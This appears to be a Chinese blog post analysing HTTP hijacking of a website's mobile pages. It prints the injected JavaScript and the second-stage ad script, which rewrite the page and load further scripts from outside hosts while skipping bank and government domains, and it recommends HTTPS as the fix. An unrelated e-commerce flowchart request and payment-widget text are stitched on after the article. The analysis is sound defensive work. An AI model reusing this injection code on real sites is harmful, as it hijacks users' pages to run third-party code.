网站在移动端访问时偶尔不能加载页面,http访问被劫持

本文介绍了一种网站移动端访问时出现页面空白的情况,并分析了注入的恶意JS代码,该代码用于显示特定广告内容。文章提供了通过HTTPS访问来避免此类问题的解决方案。

今天发生一件很离奇的事,网站在移动端访问时,经常偶发性的、无规律的出现页面空白的情况。经过排查,发现在不能正常展示页面的时候,页面代码里面被人注入了一段js。如下:

<script>!function(){function a(){var a=new Date;a.setTime(a.getTime()+6e4),document.cookie="sessioned=1;expires="+a.toUTCString()}function b(b){a(),setTimeout(function(){location.href=location.href},b)}var d,e,f,c=1e4;try{if(!/sessioned=1/.test(document.cookie)){a(),e=document.createElement("script"),f=!1,e.src="http://www.szzl55.com/gt/popup/db-zkl-hx5.js?4",e.type="text/javascript",e.charset="UTF-8",d=new XMLHttpRequest,d.open("GET",window.location,!0),d.setRequestHeader("X-Requested-With","XMLHttpRequest");try{d.timeout=c}catch(g){}d.send(),d.onreadystatechange=function(){try{if(4==d.readyState){if(200!=d.status||"text/html"!=d.getResponseHeader("Content-Type"))throw"";text=d.responseText.replace(/<\/body>/i,e.outerHTML+"</body>"),document.open("text/html","replace"),document.write(text),setTimeout(function(){document.close()},1e3),f=!0}}catch(a){b(100)}}}}catch(g){b(150)}finally{setTimeout(function(){f||b(1)},c+1e3)}}();</script>

分析一下这段JS代码,发现它下载“http://www.szzl55.com//gt/popup/db-zkl-hx5.js?4”文件。文件内容:

!function() {
    var re = /\.edu|\.gov|\.org|\.189\.cn|\.ct10000\.com|\.118114\.cn|\.10086|\.10010|\.icbc\.com\.cn|\.ccb\.com|\.abchina\.com|\.boc\.cn|\.bankcomm\.com|\.cmbchina\.com|\.pingan\.com|\.cib\.com\.cn|\.cgbchina\.com\.cn|\.psbc\.com|\.spdb\.com|\.microsoft\.com|\.apple\.com|\.bing\.com|\.qzone|\.gtimg\.cn|\.alipay\.com|\.alibaba\.com|\.aliyun\.com|\.aliexpress\.com|\.1688\.com|\.alimama\.com|\.alitrip\.com|120\.24\.157\.107|\.zzgjj\.com|\.people\.com|\.people\.cn|\.12306\.cn|\.153\.cn|\.xinhuanet\.com|\.china\.com|pop\.10jqka\.com\.cn|\.linezing\.com|\.youmi\.net|\.qihuo\.com|\.wps\.cn|\.rising\.com\.cn/;
    var _ad_div = '_zkl_t';
    var _isMobile = false;
    try {
        if (window.innerWidth <= 600 && window.innerHeight <= 800) {
            _isMobile = true;
        }
    } catch (e) {
    }
                _isMobile = true;

    if (!re.test(location.href) && !document.getElementById(_ad_div)) {
        var _style = '';
        if (_isMobile) {
            _style = 'z-index: 2147483646;' +
            'text-align: center;' +
            'margin: 0 auto;' +
						'display: none;' +
            'width: ' + window.innerWidth + 'px;';
        } else {
            _style = 'display: inline-block;' +
            'width: 300px;' +
            'height: 250px;' +
            'position: fixed;' +
            'bottom: 0px;' +
            'right: 18px;' +
						'display: none;' +
            'z-index: 2147483646;';
        }

        var _div = '%3Cdiv%20id%3D%22' + _ad_div + '%22' + ' style%3D%22' + escape(_style) + '%22%3E';
      	if (_isMobile) {
		document.write(unescape(_div));
		document.write(unescape("%3Cscript%20type%3D%22text%2Fjavascript%22%20charset%3D%22utf-8%22%20src%3D%22http%3A%2F%2Fou7rhs2a4.bkt.clouddn.com%2Fgta.js%3F11%22%3E%3C%2Fscript%3E"));
		document.write(unescape("%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A//www.szzl55.com/gt/popup/dlink5.js%3F39%22%3E%3C%2Fscript%3E"));
		//document.write(unescape("%3Ciframe%20src%3D%22http%3A%2F%2Fwww.155rc.com%2Fgt%2Ftest%3Fdlink-tj.html%22%20style%3D%22display%3Anone%22%3E%3C%2Fiframe%3E"));
		//document.write(unescape("%3C%2Fdiv%3E"));
      	}
        //if (_isMobile){
        //    setMobilePosition();
        //}
    }
}();

先判断访问的目标地址是否是教育网站、政府网站、机构网站、几大运营商网站、银行网站、各大公司网站(估计他们惹不起)等,如果不是,就下手了,擦!!!

并且里面还有一个网站,让我猜测这TM就是郑州的运营商干的事:zzgjj.com(郑州公积金官网)

解决办法其实很简单:

不使用http访问,使用https访问,如果是http访问,跳转到https,这样就没有中间商赚差价了。


运营商,真不要脸。



===================

我们这边修改成https访问,就再也没有出现页面被劫持后注入代码的问题。



1.注册流程: 用户填写注册表单,实进行字段验证: 用户名检查格式(中英文、数字、下划线)和唯一性 手机号验证11位有效格式和是否已被注册 密码需6-12位字母数字组合 确认密码必须与密码一致 所有验证通过后,用户数据被保存到localStorage的users集合中 注册成功提示后自动跳转至登录页面 2.登录流程: 用户输入手机号和密码后,系统在localStorage的users数据中查找匹配项 验证成功后将用户信息存入sessionStorage作为会话凭证 登录状态通过sessionStorage的currentUser字段维持,用于各页面访问控制 3.商品展示流程: 首页根据设备屏幕尺寸显示不同的布局: 桌面端:多列网格布局,带背景动画和侧边导航 移动端:单列布局,可折叠的汉堡菜单 商品图片支持鼠标悬停切换效果,展示不同角度视图 "猜你喜欢"区域使用CSS动画实现自动水平滚动 4.购物车管理流程: 添加商品检查是否已存在,存在则增加数量,不存在则新增条目 购物车数据实保存到localStorage的cart字段 购物车页面可调整商品数量或删除商品,每次操作后重新计算总价 结算功能模拟订单提交,清空购物车并显示确认信息 5.用户数据: 使用localStorage的users键存储所有注册用户信息 数据结构包含用户名、加密密码和手机号等字段 新用户注册追加到现有用户数组 6.会话管理: 登录成功的用户信息存入sessionStorage的currentUser 各受保护页面加载检查此字段决定是否允许访问 浏览器关闭后会话自动失效 7.购物车数据: 使用localStorage的cart键存储购物车状态 包含商品ID、名称、价格、数量和图片等完整信息 跨页面访问保持购物车内容一致 根据这个画一个流程图
最新发布
07-18
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值